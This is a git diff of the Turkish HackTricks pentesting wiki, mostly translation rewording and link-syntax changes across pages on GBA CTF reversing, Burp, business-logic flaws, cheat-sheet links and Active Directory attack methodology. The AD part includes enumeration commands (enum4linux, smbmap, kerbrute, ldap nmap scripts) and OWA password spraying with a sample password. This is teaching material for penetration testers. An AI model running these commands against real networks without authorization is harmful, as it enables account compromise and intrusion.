- [**mgba** ](https://mgba.io)- CLI hata ayıklayıcı içerir
|
||||
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra eklentisi
|
||||
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra eklentisi
|
||||
|
||||
[**no$gba**](https://problemkaputt.de/gba.htm) içinde, _**Seçenekler --> Emülasyon Ayarı --> Kontroller**_\*\* \*\* kısmında Game Boy Advance **düğmelerine** nasıl basılacağını görebilirsiniz.
|
||||
[**no$gba**](https://problemkaputt.de/gba.htm) içinde, _**Seçenekler --> Emülasyon Ayarı --> Kontroller**_\*\* \*\* Game Boy Advance **butonlarına** nasıl basılacağını görebilirsiniz.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -305,7 +309,7 @@ Bu tür bir programda, ilginç kısım **programın kullanıcı girdisini nasıl
|
||||
|
||||
Önceki görüntüde, fonksiyonun **FUN_080015a8**'den çağrıldığını görebilirsiniz (adresler: _0x080015fa_ ve _0x080017ac_).
|
||||
|
||||
O fonksiyonda, bazı başlangıç işlemlerinden sonra (önemsiz):
|
||||
Bu fonksiyonda, bazı başlangıç işlemlerinden sonra (önemsiz):
|
||||
```c
|
||||
void FUN_080015a8(void)
|
||||
|
||||
@ -366,21 +370,23 @@ FUN_08000864();
|
||||
if (uVar1 == 0x10) {
|
||||
DAT_030000d8 = DAT_030000d8 + 0x3a;
|
||||
```
|
||||
Önceki kodda **uVar1**'in (**basılı düğmenin değeri**) bazı değerlerle karşılaştırıldığını görebilirsiniz:
|
||||
Önceki kodda **uVar1**'in (**basılı butonun değeri**) bazı değerlerle karşılaştırıldığını görebilirsiniz:
|
||||
|
||||
- İlk olarak, **değer 4** ile karşılaştırılıyor (**SELECT** düğmesi): Bu düğme, meydan okumada ekranı temizliyor.
|
||||
- Sonra, **değer 8** ile karşılaştırılıyor (**START** düğmesi): Bu, meydan okumada kodun bayrağı almak için geçerli olup olmadığını kontrol ediyor.
|
||||
- İlk olarak, **değer 4** ile karşılaştırılıyor (**SELECT** butonu): Bu buton, bu görevde ekranı temizliyor.
|
||||
- Sonra, **değer 8** ile karşılaştırılıyor (**START** butonu): Bu görevde, kodun bayrağı almak için geçerli olup olmadığını kontrol ediyor.
|
||||
- Bu durumda **`DAT_030000d8`** değişkeni 0xf3 ile karşılaştırılıyor ve değer aynıysa bazı kodlar çalıştırılıyor.
|
||||
- Diğer durumlarda, bazı cont (`DAT_030000d4`) kontrol ediliyor. Bu bir cont çünkü koda girdikten hemen sonra 1 ekliyor.\
|
||||
**Eğer** 8'den küçükse, **`DAT_030000d8`**'e değerler **eklemek** ile ilgili bir işlem yapılıyor (temelde, cont 8'den küçük olduğu sürece, bu değişkende basılan tuşların değerlerini topluyor).
|
||||
**E**ğer 8'den küçükse, **`DAT_030000d8`**'e değerler **eklemek** ile ilgili bir işlem yapılıyor (temelde, cont 8'den küçük olduğu sürece bu değişkende basılan tuşların değerlerini topluyor).
|
||||
|
||||
Bu meydan okumada, düğmelerin değerlerini bilerek, **sonuçta toplamı 0xf3 olan 8'den küçük bir uzunlukta bir kombinasyon basmanız gerekiyordu.**
|
||||
Bu nedenle, bu görevde butonların değerlerini bilerek, **sonuçta toplamı 0xf3 olan 8'den daha kısa bir kombinasyonu basmanız gerekiyordu.**
|
||||
|
||||
**Bu eğitim için referans:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||
|
||||
## Game Boy
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=VVbRe7wr3G4
|
||||
{{#endref}}
|
||||
|
||||
## Kurslar
|
||||
|
||||
|
4
src/robots.txt
Normal file
4
src/robots.txt
Normal file
@ -0,0 +1,4 @@
|
||||
Sitemap: https://www.hacktricks.wiki/sitemap.xml
|
||||
|
||||
User-agent: *
|
||||
Disallow:
|
@ -48,7 +48,9 @@ Take it to the top
|
||||
|
||||
Whisper my world
|
||||
```
|
||||
{% embed url="https://codewithrockstar.com/" %}
|
||||
{{#ref}}
|
||||
https://codewithrockstar.com/
|
||||
{{#endref}}
|
||||
|
||||
## PETOOH
|
||||
```
|
||||
|
@ -4,13 +4,15 @@
|
||||
|
||||
- **Basit Liste:** Her satırda bir giriş içeren sadece bir liste
|
||||
- **Çalışma Zamanı Dosyası:** Çalışma zamanında okunan bir liste (belleğe yüklenmez). Büyük listeleri desteklemek için.
|
||||
- **Durum Değişikliği:** Bir dizi dizeye bazı değişiklikler uygulamak (değişiklik yok, küçük harfe çevir, BÜYÜK HARFE ÇEVİR, Doğru isim - İlk harf büyük ve geri kalan küçük-, Doğru İsim - İlk harf büyük ve geri kalan aynı kalır-).
|
||||
- **Sayılar:** X'den Y'ye Z adım kullanarak veya rastgele sayılar üretin.
|
||||
- **Durum Değişikliği:** Bir dizi dizeye bazı değişiklikler uygulama (değişiklik yok, küçük harfe çevir, BÜYÜK HARFE çevir, Özel isim - İlk harf büyük, geri kalanı küçük-, Özel İsim - İlk harf büyük ve geri kalanı aynı kalır-).
|
||||
- **Sayılar:** X'den Y'ye Z adım kullanarak veya rastgele sayılar oluşturma.
|
||||
- **Kaba Kuvvet:** Karakter seti, minimum ve maksimum uzunluk.
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Komutları çalıştırmak ve çıktıyı burpcollab'a DNS istekleri aracılığıyla almak için payload.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
{{#ref}}
|
||||
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
|
||||
{{#endref}}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
|
@ -12,7 +12,7 @@ Birçok kez arka uç, bazı işlemleri gerçekleştirmek için **Host başlığ
|
||||
### Oturum boolean'ları
|
||||
|
||||
Bazen bazı doğrulamaları doğru bir şekilde tamamladığınızda arka uç, **oturumunuza bir güvenlik niteliğine "True" değeriyle bir boolean ekler**. Ardından, farklı bir uç nokta bu kontrolü başarıyla geçip geçmediğinizi bilecektir.\
|
||||
Ancak, eğer **kontrolü geçerseniz** ve oturumunuza güvenlik niteliğinde "True" değeri verilirse, **erişim izniniz olmaması gereken** ancak **aynı niteliğe bağlı olan diğer kaynaklara erişmeyi** deneyebilirsiniz. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
Ancak, eğer **kontrolden geçerseniz** ve oturumunuza güvenlik niteliğinde "True" değeri verilirse, **erişim izniniz olmaması gereken** ancak **aynı niteliğe bağlı olan diğer kaynaklara erişmeyi** deneyebilirsiniz. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Kayıt işlevselliği
|
||||
|
||||
@ -24,11 +24,13 @@ Bir e-posta kaydedin, onaylamadan önce e-postayı değiştirin, ardından, yeni
|
||||
|
||||
### Atlassian kullanarak şirketlerin İç Servis Masasına Erişim
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
{{#ref}}
|
||||
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
|
||||
{{#endref}}
|
||||
|
||||
### TRACE yöntemi
|
||||
|
||||
Geliştiriciler, üretim ortamında çeşitli hata ayıklama seçeneklerini devre dışı bırakmayı unutabilir. Örneğin, HTTP `TRACE` yöntemi tanısal amaçlar için tasarlanmıştır. Eğer etkinse, web sunucusu `TRACE` yöntemini kullanan isteklere, alınan isteği yanıtında yankılayarak yanıt verir. Bu davranış genellikle zararsızdır, ancak bazen, ters proxyler tarafından isteklere eklenebilecek dahili kimlik doğrulama başlıklarının adları gibi bilgi ifşasına yol açabilir.
|
||||
Geliştiriciler, üretim ortamında çeşitli hata ayıklama seçeneklerini devre dışı bırakmayı unutabilir. Örneğin, HTTP `TRACE` yöntemi tanısal amaçlar için tasarlanmıştır. Eğer etkinse, web sunucusu `TRACE` yöntemini kullanan isteklere, alınan isteği yanıtında yankılayarak yanıt verir. Bu davranış genellikle zararsızdır, ancak bazen, ters proxy'ler tarafından isteklere eklenebilecek dahili kimlik doğrulama başlıklarının adları gibi bilgi ifşasına yol açabilir.
|
||||
|
||||

|
||||
|
||||
|
@ -1,49 +1,95 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||
{{#ref}}
|
||||
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
|
||||
{{#ref}}
|
||||
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/pentesting-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
|
||||
{{#ref}}
|
||||
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
|
||||
{{#ref}}
|
||||
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
|
||||
{{#ref}}
|
||||
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
|
||||
{{#ref}}
|
||||
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/oscp-fun-guide/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.thehacker.recipes/" %}
|
||||
{{#ref}}
|
||||
https://www.thehacker.recipes/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hideandsec.sh/" %}
|
||||
{{#ref}}
|
||||
https://hideandsec.sh/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://cheatsheet.haax.fr/" %}
|
||||
{{#ref}}
|
||||
https://cheatsheet.haax.fr/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://infosecwriteups.com/" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.exploit-db.com/" %}
|
||||
{{#ref}}
|
||||
https://www.exploit-db.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://wadcoms.github.io/" %}
|
||||
{{#ref}}
|
||||
https://wadcoms.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://lolbas-project.github.io" %}
|
||||
{{#ref}}
|
||||
https://lolbas-project.github.io
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestbook.six2dez.com/" %}
|
||||
{{#ref}}
|
||||
https://pentestbook.six2dez.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.hackingarticles.in/" %}
|
||||
{{#ref}}
|
||||
https://www.hackingarticles.in/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestlab.blog/" %}
|
||||
{{#ref}}
|
||||
https://pentestlab.blog/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ippsec.rocks/" %}
|
||||
{{#ref}}
|
||||
https://ippsec.rocks/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,21 +4,21 @@
|
||||
|
||||
## Temel genel bakış
|
||||
|
||||
**Active Directory**, **ağ yöneticileri** için bir temel teknoloji olarak hizmet eder ve bir ağ içinde **alanlar**, **kullanıcılar** ve **nesneler** oluşturup yönetmelerini sağlar. Ölçeklenebilir şekilde tasarlanmıştır, çok sayıda kullanıcıyı yönetilebilir **gruplara** ve **alt gruplara** organize etmeyi kolaylaştırırken, çeşitli seviyelerde **erişim haklarını** kontrol eder.
|
||||
**Active Directory**, **ağ yöneticileri** için bir temel teknoloji olarak hizmet eder ve bir ağ içinde **alanlar**, **kullanıcılar** ve **nesneler** oluşturup yönetmelerini sağlar. Ölçeklenebilir şekilde tasarlanmıştır, böylece çok sayıda kullanıcıyı yönetilebilir **gruplara** ve **alt gruplara** organize ederken, çeşitli seviyelerde **erişim haklarını** kontrol eder.
|
||||
|
||||
**Active Directory** yapısı üç ana katmandan oluşur: **alanlar**, **ağaçlar** ve **ormanlar**. Bir **alan**, ortak bir veritabanını paylaşan **kullanıcılar** veya **cihazlar** gibi nesnelerin bir koleksiyonunu kapsar. **Ağaçlar**, ortak bir yapı ile bağlantılı bu alanların gruplarıdır ve bir **orman**, birbirleriyle **güven ilişkileri** aracılığıyla bağlantılı birden fazla ağacın koleksiyonunu temsil eder, organizasyon yapısının en üst katmanını oluşturur. Bu seviyelerin her birinde belirli **erişim** ve **iletişim hakları** atanabilir.
|
||||
**Active Directory** yapısı üç ana katmandan oluşur: **alanlar**, **ağaçlar** ve **ormanlar**. Bir **alan**, ortak bir veritabanını paylaşan **kullanıcılar** veya **cihazlar** gibi nesnelerin bir koleksiyonunu kapsar. **Ağaçlar**, ortak bir yapı ile bağlantılı bu alanların gruplarıdır ve bir **orman**, birbirleriyle **güven ilişkileri** aracılığıyla bağlantılı birden fazla ağacın koleksiyonunu temsil eder ve organizasyon yapısının en üst katmanını oluşturur. Bu seviyelerin her birinde belirli **erişim** ve **iletişim hakları** atanabilir.
|
||||
|
||||
**Active Directory** içindeki anahtar kavramlar şunlardır:
|
||||
|
||||
1. **Dizin** – Active Directory nesneleri ile ilgili tüm bilgileri barındırır.
|
||||
2. **Nesne** – Dizin içindeki varlıkları, **kullanıcılar**, **gruplar** veya **paylaşılan klasörler** dahil olmak üzere belirtir.
|
||||
3. **Alan** – Dizin nesneleri için bir konteyner görevi görür, bir **orman** içinde birden fazla alanın bir arada bulunabilme yeteneğine sahiptir ve her biri kendi nesne koleksiyonunu korur.
|
||||
2. **Nesne** – Dizin içindeki varlıkları, **kullanıcılar**, **gruplar** veya **paylaşılan klasörler** gibi, ifade eder.
|
||||
3. **Alan** – Dizin nesneleri için bir konteyner görevi görür ve bir **orman** içinde birden fazla alanın bir arada bulunabilme yeteneğine sahiptir; her biri kendi nesne koleksiyonunu korur.
|
||||
4. **Ağaç** – Ortak bir kök alanı paylaşan alanların bir gruplamasıdır.
|
||||
5. **Orman** – Active Directory'deki organizasyon yapısının zirvesi, aralarında **güven ilişkileri** bulunan birkaç ağaçtan oluşur.
|
||||
5. **Orman** – Active Directory'deki organizasyon yapısının zirvesidir ve aralarında **güven ilişkileri** bulunan birkaç ağaçtan oluşur.
|
||||
|
||||
**Active Directory Alan Hizmetleri (AD DS)**, bir ağ içinde merkezi yönetim ve iletişim için kritik olan bir dizi hizmeti kapsar. Bu hizmetler şunları içerir:
|
||||
|
||||
1. **Alan Hizmetleri** – Veri depolamasını merkezileştirir ve **kullanıcılar** ile **alanlar** arasındaki etkileşimleri yönetir, **kimlik doğrulama** ve **arama** işlevlerini içerir.
|
||||
1. **Alan Hizmetleri** – Veri depolamasını merkezi hale getirir ve **kullanıcılar** ile **alanlar** arasındaki etkileşimleri yönetir; **kimlik doğrulama** ve **arama** işlevlerini içerir.
|
||||
2. **Sertifika Hizmetleri** – Güvenli **dijital sertifikaların** oluşturulması, dağıtımı ve yönetimini denetler.
|
||||
3. **Hafif Dizin Hizmetleri** – **LDAP protokolü** aracılığıyla dizin destekli uygulamaları destekler.
|
||||
4. **Dizin Federasyon Hizmetleri** – Bir oturumda birden fazla web uygulaması arasında kullanıcıları kimlik doğrulamak için **tek oturum açma** yetenekleri sağlar.
|
||||
@ -36,7 +36,7 @@ Bir AD'yi **saldırmak** için **Kerberos kimlik doğrulama sürecini** gerçekt
|
||||
|
||||
AD'yi listelemek/sömürmek için hangi komutları çalıştırabileceğinizi hızlıca görmek için [https://wadcoms.github.io/](https://wadcoms.github.io) adresine göz atabilirsiniz.
|
||||
|
||||
## Recon Active Directory (Kimlik bilgisi/oturum yok)
|
||||
## Active Directory'yi Keşfetme (Kimlik bilgisi/oturum yok)
|
||||
|
||||
Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturumunuz yoksa şunları yapabilirsiniz:
|
||||
|
||||
@ -49,7 +49,7 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
- Bir SMB sunucusunu listelemek için daha ayrıntılı bir kılavuzu burada bulabilirsiniz:
|
||||
- Bir SMB sunucusunu listelemek için daha ayrıntılı bir kılavuz burada bulunabilir:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/
|
||||
@ -57,7 +57,7 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu
|
||||
|
||||
- **Ldap'ı listele**
|
||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||
- LDAP'ı listelemek için daha ayrıntılı bir kılavuzu burada bulabilirsiniz (özellikle **anonim erişime** dikkat edin):
|
||||
- LDAP'ı listelemek için daha ayrıntılı bir kılavuz burada bulunabilir (lütfen **anonim erişime** özel dikkat gösterin):
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-ldap.md
|
||||
@ -65,11 +65,11 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu
|
||||
|
||||
- **Ağı zehirle**
|
||||
- Kimlik bilgilerini [**Responder ile hizmetleri taklit ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) toplayın.
|
||||
- [**relay saldırısını istismar ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) bir ana bilgisayara erişin.
|
||||
- [**relay saldırısını istismar ederek**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) bir ana makineye erişin.
|
||||
- Kimlik bilgilerini **sahte UPnP hizmetlerini** [**evil-S ile açığa çıkararak**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) toplayın.
|
||||
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
|
||||
- Alan ortamları içindeki iç belgelerden, sosyal medyadan, hizmetlerden (özellikle web) kullanıcı adlarını/isimlerini çıkarın ve ayrıca kamuya açık olanlardan.
|
||||
- Eğer şirket çalışanlarının tam isimlerini bulursanız, farklı AD **kullanıcı adı konvansiyonlarını** deneyebilirsiniz (**[bunu okuyun](https://activedirectorypro.com/active-directory-user-naming-convention/)**). En yaygın konvansiyonlar şunlardır: _AdSoyad_, _Ad.Soyad_, _AdSoy_ (her birinin 3 harfi), _Ad.Soy_, _ASoyad_, _A.Soyad_, _SoyadAd_, _Soyad.Ad_, _SoyadA_, _Soyad.N_, 3 _rastgele harf ve 3 rastgele rakam_ (abc123).
|
||||
- Şirket çalışanlarının tam isimlerini bulursanız, farklı AD **kullanıcı adı konvansiyonlarını** deneyebilirsiniz (**[bunu okuyun](https://activedirectorypro.com/active-directory-user-naming-convention/)**). En yaygın konvansiyonlar şunlardır: _AdSoyad_, _Ad.Soyad_, _AdSoy_ (her birinin 3 harfi), _Ad.Soy_, _ASoyad_, _A.Soyad_, _SoyadAd_, _Soyad.Ad_, _SoyadA_, _Soyad.N_, 3 _rastgele harf ve 3 rastgele rakam_ (abc123).
|
||||
- Araçlar:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
@ -77,7 +77,7 @@ Eğer sadece bir AD ortamına erişiminiz varsa ama hiçbir kimlik bilgisi/oturu
|
||||
### Kullanıcı listeleme
|
||||
|
||||
- **Anonim SMB/LDAP listeleme:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) ve [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) sayfalarını kontrol edin.
|
||||
- **Kerbrute listeleme**: Bir **geçersiz kullanıcı adı istendiğinde**, sunucu **Kerberos hatası** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ kullanarak yanıt verecek, bu da kullanıcı adının geçersiz olduğunu belirlememizi sağlayacaktır. **Geçerli kullanıcı adları**, ya **AS-REP** yanıtında **TGT** alacak ya da _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını verecek, bu da kullanıcının ön kimlik doğrulama yapması gerektiğini gösterir.
|
||||
- **Kerbrute listeleme**: Bir **geçersiz kullanıcı adı istendiğinde**, sunucu **Kerberos hatası** kodu _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ kullanarak yanıt verecek ve bu da kullanıcı adının geçersiz olduğunu belirlememizi sağlayacaktır. **Geçerli kullanıcı adları**, ya **AS-REP** yanıtında **TGT** alacak ya da _KRB5KDC_ERR_PREAUTH_REQUIRED_ hatasını verecek, bu da kullanıcının ön kimlik doğrulama yapması gerektiğini gösterir.
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
|
||||
@ -103,7 +103,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
|
||||
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
|
||||
```
|
||||
> [!WARNING]
|
||||
> Kullanıcı adı listelerini [**bu github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* ve bu ([**istatistiksel-olasılıkta-kullanıcı-adları**](https://github.com/insidetrust/statistically-likely-usernames)) bulabilirsiniz.
|
||||
> Kullanıcı adlarının listelerini [**bu github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* ve bu ([**istatistiksel-olasılıkta-kullanıcı-adları**](https://github.com/insidetrust/statistically-likely-usernames)) bulabilirsiniz.
|
||||
>
|
||||
> Ancak, bu adımdan önce gerçekleştirmiş olmanız gereken keşif aşamasından **şirket çalışanlarının isimlerini** almış olmalısınız. İsim ve soyadı ile [**namemash.py**](https://gist.github.com/superkojiman/11076951) scriptini kullanarak potansiyel geçerli kullanıcı adları oluşturabilirsiniz.
|
||||
|
||||
@ -141,7 +141,7 @@ Eğer **null veya misafir kullanıcısı** ile **diğer PC'lere veya paylaşıml
|
||||
|
||||
## Kimlik Bilgileri/oturum ile Aktif Dizin Listeleme
|
||||
|
||||
Bu aşama için **geçerli bir alan hesabının kimlik bilgilerini veya oturumunu ele geçirmiş olmanız gerekir.** Eğer geçerli kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **önceki seçeneklerin hala diğer kullanıcıları ele geçirmek için seçenekler olduğunu unutmamalısınız**.
|
||||
Bu aşama için **geçerli bir alan hesabının kimlik bilgilerini veya oturumunu ele geçirmiş olmanız gerekir.** Eğer geçerli kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **önceki seçeneklerin hala diğer kullanıcıları ele geçirmek için seçenekler olduğunu unutmamalısınız.**
|
||||
|
||||
Kimlik doğrulamalı listelemeye başlamadan önce **Kerberos çift atlama sorununu** bilmelisiniz.
|
||||
|
||||
@ -156,13 +156,13 @@ Bir hesabı ele geçirmek, **tüm alanı ele geçirmeye başlamak için büyük
|
||||
[**ASREPRoast**](asreproast.md) ile artık her olası savunmasız kullanıcıyı bulabilirsiniz ve [**Password Spraying**](password-spraying.md) ile ele geçirilen hesabın şifresini, boş şifreleri ve yeni umut verici şifreleri deneyebilirsiniz.
|
||||
|
||||
- [**Temel bir keşif yapmak için CMD kullanabilirsiniz**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- Ayrıca [**keşif için powershell kullanabilirsiniz**](../basic-powershell-for-pentesters/) bu daha gizli olacaktır
|
||||
- Daha ayrıntılı bilgi çıkarmak için [**powerview kullanabilirsiniz**](../basic-powershell-for-pentesters/powerview.md)
|
||||
- Aktif dizinde keşif için başka bir harika araç [**BloodHound**](bloodhound.md). **Çok gizli değildir** (kullandığınız toplama yöntemlerine bağlı olarak), ama **bununla ilgilenmiyorsanız**, kesinlikle denemelisiniz. Kullanıcıların RDP yapabileceği yerleri bulun, diğer gruplara giden yolları bulun, vb.
|
||||
- Ayrıca [**keşif için powershell kullanabilirsiniz**](../basic-powershell-for-pentesters/) bu daha gizli olacaktır.
|
||||
- Daha ayrıntılı bilgi çıkarmak için [**powerview kullanabilirsiniz**](../basic-powershell-for-pentesters/powerview.md).
|
||||
- Aktif dizinde keşif için başka harika bir araç [**BloodHound**](bloodhound.md). **Çok gizli değildir** (kullandığınız toplama yöntemlerine bağlı olarak), ama **bununla ilgilenmiyorsanız**, kesinlikle denemelisiniz. Kullanıcıların RDP yapabileceği yerleri bulun, diğer gruplara giden yolları keşfedin, vb.
|
||||
- **Diğer otomatik AD listeleme araçları şunlardır:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**AD'nin DNS kayıtları**](ad-dns-records.md) ilginç bilgiler içerebilir.
|
||||
- Dizin listelemek için kullanabileceğiniz bir **GUI aracı** **SysInternal** Suite'den **AdExplorer.exe**'dir.
|
||||
- Ayrıca _userPassword_ ve _unixUserPassword_ alanlarında kimlik bilgilerini aramak için **ldapsearch** ile LDAP veritabanında arama yapabilir veya _Description_ için bile arama yapabilirsiniz. Diğer yöntemler için [PayloadsAllTheThings'deki AD Kullanıcı yorumundaki şifre](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) bağlantısına bakın.
|
||||
- Ayrıca, _userPassword_ ve _unixUserPassword_ alanlarında veya hatta _Description_ için kimlik bilgilerini aramak üzere **ldapsearch** ile LDAP veritabanında arama yapabilirsiniz. Diğer yöntemler için [PayloadsAllTheThings'deki AD Kullanıcı yorumundaki Şifre](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) bağlantısına bakın.
|
||||
- **Linux** kullanıyorsanız, [**pywerview**](https://github.com/the-useless-one/pywerview) kullanarak alanı listeleyebilirsiniz.
|
||||
- Ayrıca otomatik araçlar denemek isteyebilirsiniz:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
@ -171,7 +171,7 @@ Bir hesabı ele geçirmek, **tüm alanı ele geçirmeye başlamak için büyük
|
||||
|
||||
Windows'tan tüm alan kullanıcı adlarını elde etmek çok kolaydır (`net user /domain`, `Get-DomainUser` veya `wmic useraccount get name,sid`). Linux'ta ise şunları kullanabilirsiniz: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` veya `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
|
||||
> Bu Listeleme bölümü küçük görünse de, bu tümünün en önemli kısmıdır. Bağlantılara erişin (özellikle cmd, powershell, powerview ve BloodHound olanlara), bir alanı nasıl listeleyeceğinizi öğrenin ve rahat hissettiğinizdeye kadar pratik yapın. Bir değerlendirme sırasında, bu DA'ya ulaşmak veya hiçbir şey yapılamayacağına karar vermek için ana an olacaktır.
|
||||
